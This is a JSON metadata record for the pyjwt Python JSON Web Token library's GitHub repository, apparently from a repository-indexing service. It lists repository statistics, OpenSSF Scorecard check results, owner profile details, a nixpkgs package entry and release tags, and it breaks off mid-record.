{"id":364073,"url":"https://github.com/jpadilla/pyjwt","last_synced_at":"2026-06-20T13:02:21.730Z","repository":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-25T21:46:42.000Z","size":1263,"stargazers_count":5663,"open_issues_count":54,"forks_count":759,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-29T04:00:08.090Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-29T02:59:04.000Z","dependencies_parsed_at":"2026-05-29T04:00:13.295Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":49,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33673962,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-05-29T02:00:06.066Z","response_time":107,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@openfga + @auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?u=46012a23427994c3de6f022319a842f919d95d77\u0026v=4","repositories_count":230,"last_synced_at":"2026-05-30T08:21:36.085Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12233,"followers":1416,"following":418,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2026-05-30T08:21:36.085Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"packages":[{"id":12896992,"name":"python314Packages.pyjwt","ecosystem":"nixpkgs","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-01-27T09:21:54.017Z","latest_release_published_at":"2026-01-27T09:21:54.017Z","latest_release_number":"2.10.1","last_synced_at":"2026-03-07T09:24:38.091Z","created_at":"2026-01-27T09:21:53.819Z","updated_at":"2026-05-29T04:00:36.229Z","registry_url":"https://search.nixos.org/packages?channel=unstable\u0026query=python314Packages.pyjwt","install_command":"nix-env -iA nixpkgs.python314Packages.pyjwt","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-unstable/pkgs/development/python-modules/pyjwt/default.nix#L56","metadata":{"nix_attribute":"python3.14-pyjwt-2.10.1","position":"pkgs/development/python-modules/pyjwt/default.nix:56","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","aarch64-darwin","aarch64-windows","x86_64-windows","i686-windows","i686-freebsd","x86_64-freebsd","aarch64-freebsd"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","doc","out"],"upstream_ecosystem":"pypi","upstream_name":"pyjwt","upstream_purl":"pkg:pypi/pyjwt"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz